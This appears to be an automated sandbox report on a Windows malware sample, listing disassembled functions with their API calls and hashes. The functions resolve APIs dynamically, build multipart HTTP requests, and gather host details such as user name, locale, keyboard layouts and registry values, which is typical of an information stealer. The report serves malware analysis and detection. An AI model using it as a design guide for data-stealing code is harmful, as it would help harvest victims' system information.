Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 4e0a11f0523b15e6ea6efd76567903c9e797f6d2f8a7d108c492c04f986ba68a
Instruction ID: d5bccef1e5a34cad0e5ec7dea48ae07b2c58eddd9ff12cc07b28f6047363554b
Opcode Fuzzy Hash: 4e0a11f0523b15e6ea6efd76567903c9e797f6d2f8a7d108c492c04f986ba68a
Instruction Fuzzy Hash: 52E01274A41208BBC700EBA4DA49ADD77B8AF04345F1041A5EA09E2690D6749A54CB97

Function 00406C00 Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406C06
Sleep.KERNEL32(00001F40), ref: 00406C14
GetTickCount.KERNEL32 ref: 00406C1A

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: eb08c3391f8e18c4e44a9d90f64ddc68a0329dbd6094a1326adbdc57b4efb51b
Instruction ID: a0d455a7e9d51f3ff59f8756196db58e778a2168af6a75ca6307228a99f76f0d
Opcode Fuzzy Hash: eb08c3391f8e18c4e44a9d90f64ddc68a0329dbd6094a1326adbdc57b4efb51b
Instruction Fuzzy Hash: D2E08630C09209DFE700EFB4D9094FC7BB0DB00301F1080B2AC42E2688DA3449619B5B

Function 0040AE90 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00405B29), ref: 0040AE9D
RtlAllocateHeap.NTDLL(00000000,?,00405B29), ref: 0040AEA4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040AEBC

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 786339b370d31b7512b0374ed55e573f95ced26cfa2fdc562eaf370830171dbd
Instruction ID: f0e5a44d94c9ff4546a8575587e598627c12b79249f32145e6a67f0acee17a64
Opcode Fuzzy Hash: 786339b370d31b7512b0374ed55e573f95ced26cfa2fdc562eaf370830171dbd
Instruction Fuzzy Hash: C1E08CB494120CBFCB00EFE4DE49ACCBBB8AF08302F0040A4FA04E3280D6745694CB56

Function 00404A00 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00404A10
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00404A83

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: f060aa777a36e6cb0d13de8e31ea81b04a8d409cd8cd7ef04edfb5c1110e1f96
Instruction ID: b3eee9403b489e7e9904e7e393ee4f09bc21bf1d7c70f7d3a16681d9575a7086
Opcode Fuzzy Hash: f060aa777a36e6cb0d13de8e31ea81b04a8d409cd8cd7ef04edfb5c1110e1f96
Instruction Fuzzy Hash: 001133B4E04248EFCB04CF98D891BADBBB5FF48305F148099EA15A7341D735AA50CF59

Function 0040C6A0 Relevance: 254.6, APIs: 144, Strings: 1, Instructions: 874
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,0073AE10), ref: 0040C6BD
GetProcAddress.KERNEL32(74DD0000,0073B050), ref: 0040C6D5
GetProcAddress.KERNEL32(74DD0000,00739950), ref: 0040C6EE
GetProcAddress.KERNEL32(74DD0000,0073AEB8), ref: 0040C706
GetProcAddress.KERNEL32(74DD0000,0073B020), ref: 0040C71E
GetProcAddress.KERNEL32(74DD0000,0073B068), ref: 0040C737
GetProcAddress.KERNEL32(74DD0000,0073AF30), ref: 0040C74F
GetProcAddress.KERNEL32(74DD0000,0073B0B0), ref: 0040C767
GetProcAddress.KERNEL32(74DD0000,0073B0E0), ref: 0040C780
GetProcAddress.KERNEL32(74DD0000,0073AF48), ref: 0040C798
GetProcAddress.KERNEL32(74DD0000,0073AE70), ref: 0040C7B0
GetProcAddress.KERNEL32(74DD0000,0073AE88), ref: 0040C7C9
GetProcAddress.KERNEL32(74DD0000,0073AEA0), ref: 0040C7E1
GetProcAddress.KERNEL32(74DD0000,00739C50), ref: 0040C7F9
GetProcAddress.KERNEL32(74DD0000,0073AF78), ref: 0040C812
GetProcAddress.KERNEL32(74DD0000,00739590), ref: 0040C82A
GetProcAddress.KERNEL32(74DD0000,007381C0), ref: 0040C842
GetProcAddress.KERNEL32(74DD0000,0073AED0), ref: 0040C85B
GetProcAddress.KERNEL32(74DD0000,00739810), ref: 0040C873
GetProcAddress.KERNEL32(74DD0000,0073AEE8), ref: 0040C88B
GetProcAddress.KERNEL32(74DD0000,00739890), ref: 0040C8A4
GetProcAddress.KERNEL32(74DD0000,0073B110), ref: 0040C8BC
GetProcAddress.KERNEL32(74DD0000,0073B128), ref: 0040C8D4
GetProcAddress.KERNEL32(74DD0000,0073B140), ref: 0040C8ED
GetProcAddress.KERNEL32(74DD0000,0073B158), ref: 0040C905
GetProcAddress.KERNEL32(74DD0000,00739910), ref: 0040C91D
GetProcAddress.KERNEL32(74DD0000,0073B170), ref: 0040C936
GetProcAddress.KERNEL32(74DD0000,0073B188), ref: 0040C94E
GetProcAddress.KERNEL32(74DD0000,0073B1A0), ref: 0040C966
GetProcAddress.KERNEL32(74DD0000,00739770), ref: 0040C97F
GetProcAddress.KERNEL32(74DD0000,0073B1B8), ref: 0040C997
GetProcAddress.KERNEL32(74DD0000,0073B1D0), ref: 0040C9AF
GetProcAddress.KERNEL32(74DD0000,0073B6B0), ref: 0040C9C8
GetProcAddress.KERNEL32(74DD0000,0073B800), ref: 0040C9E0
GetProcAddress.KERNEL32(74DD0000,0073B518), ref: 0040C9F8
GetProcAddress.KERNEL32(74DD0000,007396F0), ref: 0040CA11
GetProcAddress.KERNEL32(74DD0000,00739710), ref: 0040CA29
GetProcAddress.KERNEL32(74DD0000,0073B530), ref: 0040CA41
GetProcAddress.KERNEL32(74DD0000,0073B6C8), ref: 0040CA5A
GetProcAddress.KERNEL32(74DD0000,007398F0), ref: 0040CA72
GetProcAddress.KERNEL32(74DD0000,00738148), ref: 0040CA8A
GetProcAddress.KERNEL32(74DD0000,0073B6F8), ref: 0040CAA3
GetProcAddress.KERNEL32(74DD0000,0073B608), ref: 0040CABB
GetProcAddress.KERNEL32(74DD0000,00739550), ref: 0040CAD3
GetProcAddress.KERNEL32(74DD0000,00739650), ref: 0040CAEC
GetProcAddress.KERNEL32(74DD0000,00739570), ref: 0040CB04
GetProcAddress.KERNEL32(74DD0000,0073B5D8), ref: 0040CB1C
GetProcAddress.KERNEL32(74DD0000,00739670), ref: 0040CB35
GetProcAddress.KERNEL32(74DD0000,0073B620), ref: 0040CB4D
GetProcAddress.KERNEL32(74DD0000,00739630), ref: 0040CB65
GetProcAddress.KERNEL32(74DD0000,007397B0), ref: 0040CB7E
GetProcAddress.KERNEL32(74DD0000,0073B788), ref: 0040CB96
GetProcAddress.KERNEL32(74DD0000,007398D0), ref: 0040CBAE
GetProcAddress.KERNEL32(74DD0000,007395F0), ref: 0040CBC7
GetProcAddress.KERNEL32(74DD0000,0073B7D0), ref: 0040CBDF
GetProcAddress.KERNEL32(74DD0000,0073B7A0), ref: 0040CBF7
LoadLibraryA.KERNEL32(0073AFC0,?,00406D0D), ref: 0040CC09
LoadLibraryA.KERNEL32(0073B098,?,00406D0D), ref: 0040CC1B
LoadLibraryA.KERNEL32(0073B008,?,00406D0D), ref: 0040CC2C
LoadLibraryA.KERNEL32(0073AFD8,?,00406D0D), ref: 0040CC3E
LoadLibraryA.KERNEL32(0073B080,?,00406D0D), ref: 0040CC50
LoadLibraryA.KERNEL32(0073AF00,?,00406D0D), ref: 0040CC61
LoadLibraryA.KERNEL32(0073AF18,?,00406D0D), ref: 0040CC73
LoadLibraryA.KERNEL32(0073AFF0,?,00406D0D), ref: 0040CC85
LoadLibraryA.KERNEL32(0073AF60,?,00406D0D), ref: 0040CC96
LoadLibraryA.KERNEL32(0073AE28,?,00406D0D), ref: 0040CCA8
LoadLibraryA.KERNEL32(0073AF90,?,00406D0D), ref: 0040CCBA
LoadLibraryA.KERNEL32(0073AE40,?,00406D0D), ref: 0040CCCB
LoadLibraryA.KERNEL32(0073AE58,?,00406D0D), ref: 0040CCDD
GetProcAddress.KERNEL32(76E90000,0073ACF0), ref: 0040CCFE
GetProcAddress.KERNEL32(76E90000,0073AD00), ref: 0040CD17
GetProcAddress.KERNEL32(76E90000,0073AC50), ref: 0040CD2F
GetProcAddress.KERNEL32(6F090000,0073B7B8), ref: 0040CD54
GetProcAddress.KERNEL32(6F090000,00739530), ref: 0040CD6D
GetProcAddress.KERNEL32(6F090000,00739830), ref: 0040CD85
GetProcAddress.KERNEL32(6F090000,00739850), ref: 0040CD9D
GetProcAddress.KERNEL32(6F090000,0073B590), ref: 0040CDB6
GetProcAddress.KERNEL32(6F090000,007396D0), ref: 0040CDCE
GetProcAddress.KERNEL32(6F090000,00739690), ref: 0040CDE6
GetProcAddress.KERNEL32(6F090000,00739610), ref: 0040CDFF
GetProcAddress.KERNEL32(6F090000,007396B0), ref: 0040CE17
GetProcAddress.KERNEL32(6F090000,00739730), ref: 0040CE2F
GetProcAddress.KERNEL32(75BD0000,0073B710), ref: 0040CE55
GetProcAddress.KERNEL32(75BD0000,0073B6E0), ref: 0040CE6D
GetProcAddress.KERNEL32(75BD0000,007395D0), ref: 0040CE85
GetProcAddress.KERNEL32(75BD0000,007395B0), ref: 0040CE9E
GetProcAddress.KERNEL32(75BD0000,0073B548), ref: 0040CEB6
GetProcAddress.KERNEL32(75BD0000,0073AC20), ref: 0040CECE
GetProcAddress.KERNEL32(75BD0000,00739750), ref: 0040CEE7
GetProcAddress.KERNEL32(75BD0000,00739870), ref: 0040CEFF
GetProcAddress.KERNEL32(75BD0000,0073B7E8), ref: 0040CF17
GetProcAddress.KERNEL32(75BD0000,0073B740), ref: 0040CF30
GetProcAddress.KERNEL32(75BD0000,0073B560), ref: 0040CF48
GetProcAddress.KERNEL32(75A70000,0073B578), ref: 0040CF6D
GetProcAddress.KERNEL32(75A70000,007397F0), ref: 0040CF86
GetProcAddress.KERNEL32(75A70000,0073B728), ref: 0040CF9E
GetProcAddress.KERNEL32(75A70000,00739790), ref: 0040CFB6
GetProcAddress.KERNEL32(75A70000,0073B5A8), ref: 0040CFCF
GetProcAddress.KERNEL32(75A70000,0073B5C0), ref: 0040CFE7
GetProcAddress.KERNEL32(75290000,0073B5F0), ref: 0040D00C
GetProcAddress.KERNEL32(75290000,0073B668), ref: 0040D025
GetProcAddress.KERNEL32(75290000,007397D0), ref: 0040D03D
GetProcAddress.KERNEL32(75290000,007398B0), ref: 0040D055
GetProcAddress.KERNEL32(75290000,0073B680), ref: 0040D06E
GetProcAddress.KERNEL32(75290000,0073AC60), ref: 0040D086
GetProcAddress.KERNEL32(75290000,0073B638), ref: 0040D09E
GetProcAddress.KERNEL32(75290000,0073B758), ref: 0040D0B7
GetProcAddress.KERNEL32(75290000,0073B650), ref: 0040D0CF
GetProcAddress.KERNEL32(75290000,0073B698), ref: 0040D0E7
GetProcAddress.KERNEL32(75290000,0073AC30), ref: 0040D100
GetProcAddress.KERNEL32(75290000,0072ADB0), ref: 0040D118
GetProcAddress.KERNEL32(75290000,0073B770), ref: 0040D130
GetProcAddress.KERNEL32(75290000,0073B848), ref: 0040D149
GetProcAddress.KERNEL32(6DB30000,007345E8), ref: 0040D16A
GetProcAddress.KERNEL32(75D90000,0073BF40), ref: 0040D18B
GetProcAddress.KERNEL32(75450000,0073BEE0), ref: 0040D1AD
GetProcAddress.KERNEL32(74EC0000,00738378), ref: 0040D1D2
GetProcAddress.KERNEL32(74EC0000,0073C060), ref: 0040D1EA
GetProcAddress.KERNEL32(74EC0000,00738508), ref: 0040D203
GetProcAddress.KERNEL32(74EC0000,0073C160), ref: 0040D21B
GetProcAddress.KERNEL32(74EC0000,00738530), ref: 0040D233
GetProcAddress.KERNEL32(74EC0000,0073B8F0), ref: 0040D24C
GetProcAddress.KERNEL32(6E540000,0073B950), ref: 0040D271
GetProcAddress.KERNEL32(6E540000,0073B8D8), ref: 0040D289
GetProcAddress.KERNEL32(6E540000,0073BEC0), ref: 0040D2A2
GetProcAddress.KERNEL32(6E540000,0073BFA0), ref: 0040D2BA
GetProcAddress.KERNEL32(6E540000,0073BE60), ref: 0040D2D2
GetProcAddress.KERNEL32(6E540000,0073B908), ref: 0040D2EB
GetProcAddress.KERNEL32(75AF0000,0073B890), ref: 0040D30C
GetProcAddress.KERNEL32(75AF0000,0073AC80), ref: 0040D324
GetProcAddress.KERNEL32(75AF0000,0073B8A8), ref: 0040D33D
GetProcAddress.KERNEL32(75DA0000,0073BE80), ref: 0040D35E
GetProcAddress.KERNEL32(75DA0000,0073B920), ref: 0040D376
GetProcAddress.KERNEL32(73450000,00738210), ref: 0040D39C
GetProcAddress.KERNEL32(73450000,0073BF80), ref: 0040D3B4
GetProcAddress.KERNEL32(73450000,007380F8), ref: 0040D3CC
GetProcAddress.KERNEL32(73450000,0073B938), ref: 0040D3E5
GetProcAddress.KERNEL32(73450000,0073B968), ref: 0040D3FD
GetProcAddress.KERNEL32(73450000,0073C120), ref: 0040D415
GetProcAddress.KERNEL32(73450000,0073BF60), ref: 0040D42E
GetProcAddress.KERNEL32(73450000,0073B9C8), ref: 0040D446
GetProcAddress.KERNEL32(752C0000,0073C180), ref: 0040D467
GetProcAddress.KERNEL32(752C0000,0073C140), ref: 0040D480
GetProcAddress.KERNEL32(6CDA0000,0073B980), ref: 0040D4A1

Strings

Es, xrefs: 0040D15D

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: Es
API String ID: 2238633743-2687700826
Opcode ID: 5b1347a6f592055e922ebb55030ead0bb7b41dc60905fc3e4642caf12741a3a6
Instruction ID: ef153501a72e99a3c0308e0d9390b9c21941dea8c50fcffe353a682d97878bb9
Opcode Fuzzy Hash: 5b1347a6f592055e922ebb55030ead0bb7b41dc60905fc3e4642caf12741a3a6
Instruction Fuzzy Hash: D8826EF5623240AFC345DFA8EE88D963BB9BB8C251701C939F509C3661D73894A5CB1E

Function 00404D10 Relevance: 112.4, APIs: 56, Strings: 8, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 00404D5A
RtlAllocateHeap.NTDLL(00000000), ref: 00404D61
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404D88
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404DAA
StrCmpCA.SHLWAPI(?,https://), ref: 00404DCD
lstrcat.KERNEL32(?,00000000), ref: 00404E00
lstrcat.KERNEL32(?,00418CE4), ref: 00404E12
lstrcat.KERNEL32(?,------), ref: 00404E24
lstrcat.KERNEL32(?,?), ref: 00404E38
lstrcat.KERNEL32(?,00418CF0), ref: 00404E4A
lstrcat.KERNEL32(?,00418CE4), ref: 00404E5C
lstrcat.KERNEL32(?,00733BC8), ref: 00404E70
lstrcat.KERNEL32(?,?), ref: 00404E84
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404EAD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404ED2
HttpOpenRequestA.WININET(00000000,0073ACB0,?,0073B998,00000000,00000000,00C00100,00000000), ref: 00404F17
HttpOpenRequestA.WININET(00000000,0073ACB0,?,0073B998,00000000,00000000,00400100,00000000), ref: 00404F49
lstrcat.KERNEL32(?,------), ref: 00404F6E
lstrcat.KERNEL32(?,?), ref: 00404F82
lstrcat.KERNEL32(?,00418CE4), ref: 00404F94
lstrcat.KERNEL32(?,00734738), ref: 00404FA8
lstrcat.KERNEL32(?,0073AD10), ref: 00404FBB
lstrcat.KERNEL32(?,"), ref: 00404FCD
lstrcat.KERNEL32(?,?), ref: 00404FDE
lstrcat.KERNEL32(?,00418CE4), ref: 00404FF0
lstrcat.KERNEL32(?,------), ref: 00405002
lstrcat.KERNEL32(?,?), ref: 00405016
lstrcat.KERNEL32(?,00418CE4), ref: 00405028
lstrcat.KERNEL32(?,00733C08), ref: 0040503C
lstrcat.KERNEL32(?,?), ref: 0040504D
lstrcat.KERNEL32(?,"), ref: 0040505F
lstrcat.KERNEL32(?,00734768), ref: 00405072
lstrcat.KERNEL32(?,00418CE4), ref: 00405084
lstrcat.KERNEL32(?,00734618), ref: 00405097
lstrcat.KERNEL32(?,), ref: 004050A9
lstrlen.KERNEL32(?), ref: 004050B6
lstrlen.KERNEL32(?), ref: 004050C8
GetProcessHeap.KERNEL32(00000000,?), ref: 004050DF
RtlAllocateHeap.NTDLL(00000000), ref: 004050E6
lstrlen.KERNEL32(?), ref: 004050F9
memcpy.NTDLL(?,?,00000000), ref: 0040510E
lstrlen.KERNEL32(?,?,?), ref: 00405123
memcpy.NTDLL(?), ref: 00405130
lstrlen.KERNEL32(?), ref: 0040513D
lstrlen.KERNEL32(?,?,00000000), ref: 00405152
memcpy.NTDLL(?), ref: 00405162
lstrlen.KERNEL32(?,?,?), ref: 004051A1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004051B6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004051D5
StrCmpCA.SHLWAPI(?,200), ref: 004051EB
Sleep.KERNEL32(00007530), ref: 004051FC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040524D
lstrcat.KERNEL32(?,00000000), ref: 00405289
InternetCloseHandle.WININET(?), ref: 00405298
InternetCloseHandle.WININET(?), ref: 004052A5
InternetCloseHandle.WININET(00000000), ref: 004052B2

Strings

hGs, xrefs: 00405065
, xrefs: 0040509D
https://, xrefs: 00404DC4
", xrefs: 00404FC1
", xrefs: 00405053
------, xrefs: 00404E18, 00404F62, 00404FF6
200, xrefs: 004051DF
8Gs, xrefs: 00404F9A

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$------$200$8Gs$hGs$https://
API String ID: 3074752877-1326445885
Opcode ID: 5aeaa6601c1089e5593d909b15b18202fddbaf4c467f20ee441975c0695b7ce8
Instruction ID: 7cbe0af2f4709f6cfd7a65b261d08553a02056f1acd8ba1a9c9f480a0dd4b8c9
Opcode Fuzzy Hash: 5aeaa6601c1089e5593d909b15b18202fddbaf4c467f20ee441975c0695b7ce8
Instruction Fuzzy Hash: 20F163B5942318AFCB20DFA0DD88FDA7779BF48700F048599F209A7181DB789A94CF59

Function 00405810 Relevance: 96.3, APIs: 64, Instructions: 315
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040581B
RtlAllocateHeap.NTDLL(00000000), ref: 00405822
lstrcat.KERNEL32(?,00730B58), ref: 00405835
lstrcat.KERNEL32(?,0072FA90), ref: 00405846
lstrcat.KERNEL32(?,00418D08), ref: 00405855
lstrcat.KERNEL32(?,00730B68), ref: 00405866
lstrcat.KERNEL32(?,00418D0C), ref: 00405875
lstrcat.KERNEL32(?,007399F0), ref: 00405886
lstrcat.KERNEL32(?,00418D08), ref: 00405895
lstrcat.KERNEL32(?,0073A9F8), ref: 004058A6
GetCurrentProcessId.KERNEL32 ref: 004058AC

Part of subcall function 0040BB40: OpenProcess.KERNEL32(00000410,00000000,?), ref: 0040BB54
Part of subcall function 0040BB40: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040BB75
Part of subcall function 0040BB40: CloseHandle.KERNEL32(00000000), ref: 0040BB7F

lstrcat.KERNEL32(?,00000000), ref: 004058C0
lstrcat.KERNEL32(?,00418D08), ref: 004058CF
lstrcat.KERNEL32(?,0073A8F0), ref: 004058DF

Part of subcall function 0040AED0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,004058EA), ref: 0040AEDD
Part of subcall function 0040AED0: RtlAllocateHeap.NTDLL(00000000), ref: 0040AEE4
Part of subcall function 0040AED0: GetLocalTime.KERNEL32(?,?,?,?,?,004058EA), ref: 0040AEF1
Part of subcall function 0040AED0: wsprintfA.USER32 ref: 0040AF1E

lstrcat.KERNEL32(?,00000000), ref: 004058EF
lstrcat.KERNEL32(?,00418D0C), ref: 004058FE
lstrcat.KERNEL32(?,0073A818), ref: 0040590F

Part of subcall function 0040AF30: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF40
Part of subcall function 0040AF30: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF47
Part of subcall function 0040AF30: GetTimeZoneInformation.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(?,00000000), ref: 0040591F
lstrcat.KERNEL32(?,00418D08), ref: 0040592E
lstrcat.KERNEL32(?,00739A90), ref: 0040593F

Part of subcall function 0040AFB0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040AFC2

lstrcat.KERNEL32(?,00000000), ref: 0040594F
lstrcat.KERNEL32(?,00418D0C), ref: 0040595E
lstrcat.KERNEL32(?,00739A10), ref: 0040596E

Part of subcall function 0040AFF0: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040B000
Part of subcall function 0040AFF0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B007
Part of subcall function 0040AFF0: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040B028
Part of subcall function 0040AFF0: LocalAlloc.KERNEL32(00000040,?), ref: 0040B040
Part of subcall function 0040AFF0: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040B054
Part of subcall function 0040AFF0: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040B0A9
Part of subcall function 0040AFF0: wsprintfA.USER32 ref: 0040B0D2
Part of subcall function 0040AFF0: wsprintfA.USER32 ref: 0040B0F0
Part of subcall function 0040AFF0: memset.NTDLL ref: 0040B116
Part of subcall function 0040AFF0: LocalFree.KERNEL32(00000000), ref: 0040B12B

lstrcat.KERNEL32(?,00000000), ref: 0040597E
lstrcat.KERNEL32(?,00418D08), ref: 0040598D
lstrcat.KERNEL32(?,0073A9C8), ref: 0040599E

Part of subcall function 0040B140: GetSystemPowerStatus.KERNEL32(?), ref: 0040B14A

lstrcat.KERNEL32(?,00000000), ref: 004059AE
lstrcat.KERNEL32(?,00418D0C), ref: 004059BD
lstrcat.KERNEL32(?,0073AAE8), ref: 004059CE

Part of subcall function 0040B170: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B184
Part of subcall function 0040B170: RtlAllocateHeap.NTDLL(00000000), ref: 0040B18B
Part of subcall function 0040B170: RegOpenKeyExA.KERNEL32(80000002,0073A6C0,00000000,00020119,004059D9), ref: 0040B1AB
Part of subcall function 0040B170: RegQueryValueExA.KERNEL32(004059D9,0073BA20,00000000,00000000,?,000000FF), ref: 0040B1CC
Part of subcall function 0040B170: RegCloseKey.ADVAPI32(004059D9), ref: 0040B1D6

lstrcat.KERNEL32(?,00000000), ref: 004059DE
lstrcat.KERNEL32(?,00418D0C), ref: 004059ED
lstrcat.KERNEL32(?,0073AAD0), ref: 004059FD

Part of subcall function 0040B1F0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B1FD
Part of subcall function 0040B1F0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B204
Part of subcall function 0040B1F0: memset.NTDLL ref: 0040B215
Part of subcall function 0040B1F0: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B226
Part of subcall function 0040B1F0: __aulldiv.LIBCMT ref: 0040B240
Part of subcall function 0040B1F0: wsprintfA.USER32 ref: 0040B26C

lstrcat.KERNEL32(?,00000000), ref: 00405A0D
lstrcat.KERNEL32(?,00418D0C), ref: 00405A1C
lstrcat.KERNEL32(?,0073AD30), ref: 00405A2D

Part of subcall function 0040B280: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B294
Part of subcall function 0040B280: RtlAllocateHeap.NTDLL(00000000), ref: 0040B29B
Part of subcall function 0040B280: RegOpenKeyExA.KERNEL32(80000002,0073A308,00000000,00020119,8Z@), ref: 0040B2BB
Part of subcall function 0040B280: RegQueryValueExA.KERNEL32(8Z@,0073D2A0,00000000,00000000,?,000000FF), ref: 0040B2DC
Part of subcall function 0040B280: RegCloseKey.ADVAPI32(8Z@), ref: 0040B2E6

lstrcat.KERNEL32(?,00000000), ref: 00405A3D
lstrcat.KERNEL32(?,0073AD80), ref: 00405A4E

Part of subcall function 0040B300: GetCurrentProcess.KERNEL32(00000000), ref: 0040B30F
Part of subcall function 0040B300: IsWow64Process.KERNEL32(00000000), ref: 0040B316

lstrcat.KERNEL32(?,00000000), ref: 00405A5E
lstrcat.KERNEL32(?,0073ADB0), ref: 00405A6F
lstrcat.KERNEL32(?,00418D0C), ref: 00405A7E
lstrcat.KERNEL32(?,0073A890), ref: 00405A8F
lstrcat.KERNEL32(?,00000000), ref: 00405A9F
lstrcat.KERNEL32(?,00418D0C), ref: 00405AAE
lstrcat.KERNEL32(?,00739CB0), ref: 00405ABF

Part of subcall function 0040B370: wsprintfA.USER32 ref: 0040B3CC

lstrcat.KERNEL32(?,00000000), ref: 00405ACF
lstrcat.KERNEL32(?,00418D08), ref: 00405ADE
lstrcat.KERNEL32(?,0073AA88), ref: 00405AEE

Part of subcall function 0040AE40: GetProcessHeap.KERNEL32(00000000,00000104,?,00405AF9), ref: 0040AE4D
Part of subcall function 0040AE40: RtlAllocateHeap.NTDLL(00000000,?,00405AF9), ref: 0040AE54
